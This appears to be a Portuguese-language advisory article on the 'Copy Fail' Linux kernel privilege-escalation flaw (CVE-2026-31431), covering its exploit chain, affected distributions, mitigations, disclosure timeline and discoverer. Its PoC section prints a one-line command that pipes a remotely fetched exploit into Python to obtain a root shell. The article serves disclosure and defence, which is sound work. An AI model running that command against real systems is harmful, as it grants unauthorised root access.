732 bytes para comprometer qualquer Linux: vulnerabilidade épica oculta por quase uma década

🚨 Vulnerabilidade épica: 732 bytes para comprometer todos os Linux, oculta por quase uma década
Uma vulnerabilidade do kernel Linux chamada“Copy Fail” (CVE-2026-31431) foi divulgada publicamente:
- 732 bytes de script Python
- 100% confiável, sem necessidade de janela de corrida nem de offsets do kernel
- afeta todas as distribuições Linux (de 2017 até hoje)
- primitiva de escape de contêiner, ataques entre tenants
- oculta por quase uma década, até ser divulgada em 29 de abril de 2026
O mesmo script funciona emUbuntu, RHEL, Amazon Linux, SUSE — sem necessidade de modificações.
🎯 O núcleo da vulnerabilidade
um único defeito lógico
O Copy Fail é umdefeito lógico direto:
- não precisa de janela de corrida: ao contrário da maioria das LPEs do Linux, que exigem race condition
- não precisa de offsets do kernel: não requer offsets específicos do kernel
- 100% confiável: funciona todas as vezes
- o mesmo script: funciona em todas as distribuições
Cadeia de exploração
A cadeia de ataque do Copy Fail:
- erro lógico de authencesn: um bug lógico
- AF_ALG: via API crypto do kernel
- splice(): chamadas em cadeia
- escrita de 4 bytes no page cache: primitiva final de ataque
- explorável por quase uma década: de 2017 até o lançamento do patch
📊 Escopo afetado
Distribuições oficialmente verificadas
| Distribuição | Versão do kernel | Status |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ Verificado |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ Verificado |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ Verificado |
| SUSE 16 | 6.12.0-160000.9-default | ✅ Verificado |
Outras distribuições afetadas
As seguintes distribuiçõestambém são afetadas:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Linux embarcado
Conclusão: se o seu kernel foi compilado entre 2017 e o patch —você está afetado.
💡 Cenários de alto risco
| Cenário | Risco | Impacto |
|---|---|---|
| Hosts Linux multi-tenant | alto | qualquer usuário se torna root |
| Clusters Kubernetes / contêineres | alto | ataques entre contêineres e entre tenants |
| CI Runner / Build Farm | alto | PRs obtêm root do runner |
| SaaS em nuvem que executa código de usuários | alto | tenant se torna root do host |
| Servidores Linux padrão | médio | LPE interno, pode ser encadeado em ataques |
| Notebook de usuário único | baixo | etapa de escalação de privilégios pós-exploração |
🔧 Medidas de mitigação
Opção 1: atualizar o kernel (recomendado)
Atualize o kernel para uma versão que contenha omainline commit a664bf3d603d:
- Conteúdo da correção: reverte a otimização in-place do algif_aead de 2017
- Efeito: páginas do page cache não aparecem mais na scatterlist de destino gravável
- Status: a maioria das distribuições principais já publicou patches
Opção 2: desabilitar o módulo algif_aead (temporário)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Impacto de desabilitar o algif_aead
| Componente | Impacto |
|---|---|
| dm-crypt / LUKS | não afetado |
| kTLS / IPsec | não afetado |
| OpenSSL / SSH | não afetado |
| espaço de usuário AF_ALG | possivelmente afetado |
Conclusão: para a maioria dos sistemas, desabilitar o algif_aeadnão tem impacto perceptível.
Opção 3: bloquear AF_ALG via seccomp
Para cargas de trabalho não confiáveis (contêineres, sandboxes, CI), bloqueie a criação de sockets AF_ALG via seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 Demonstração do PoC
O PoC da vulnerabilidade está disponível publicamente para que defensores verifiquem seus sistemas:
Execução rápida
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Detalhes do PoC
- Tamanho do arquivo: 732 bytes
- Linguagem: apenas stdlib do Python 3.10+ (os, socket, zlib)
- Alvo padrão: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Aviso: o script modifica o page cache do binário setuid; as alterações não persistem após a reinicialização, mas o shell root é real. Não execute em ambiente de produção.
📅 Linha do tempo da divulgação
| Data | Evento |
|---|---|
| 2026-03-23 | Reportado à equipe de segurança do kernel Linux |
| 2026-03-24 | Confirmação inicial |
| 2026-03-25 | Proposta e revisão do patch |
| 2026-04-01 | Patch enviado para a mainline |
| 2026-04-22 | Atribuição do CVE-2026-31431 |
| 2026-04-29 | Divulgação pública |
🔍 Descobridor: Xint Code
A vulnerabilidade foi descoberta porXint Code:
- Tempo de varredura: cerca de 1 hora varrendo o subsystem crypto/ do Linux
- Método de descoberta: auditoria de código impulsionada por IA
- Análise completa: root cause, diagramas e prompt do operador
- Outras descobertas: outras vulnerabilidades de alta severidade encontradas ao mesmo tempo, ainda em divulgação coordenada
Histórico do Xint Code
- 0-day RCE: ZeroDay Cloud, dominando a categoria de bancos de dados (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: finalista da DARPA AI Cyber Challenge
- DEF CON CTF 9×: equipe mais vitoriosa da história do DEF CON CTF
📝 Resumo
O Copy Fail (CVE-2026-31431) éuma vulnerabilidade épica do kernel Linux:
- 732 bytes para comprometer todos os Linux (de 2017 até hoje)
- 100% confiável, um único defeito lógico
- escape de contêiner, ataques entre tenants
- oculta por quase uma década, até ser divulgada em 29 de abril de 2026
- Cenários de alto risco: hosts multi-tenant, clusters de contêineres, CI Runners, SaaS
- Mitigação: atualizar o kernel ou desabilitar o algif_aead
- Descobridor: Xint Code, auditoria de código impulsionada por IA
Uma vulnerabilidade épica de quase uma década, um único script para comprometer todos os Linux.
Site oficial da vulnerabilidade:https://copy.fail
PoC no GitHub:https://github.com/theori-io/copy-fail-CVE-2026-31431
Análise técnica:https://xint.io/blog/copy-fail-linux-distributions
Patch do kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5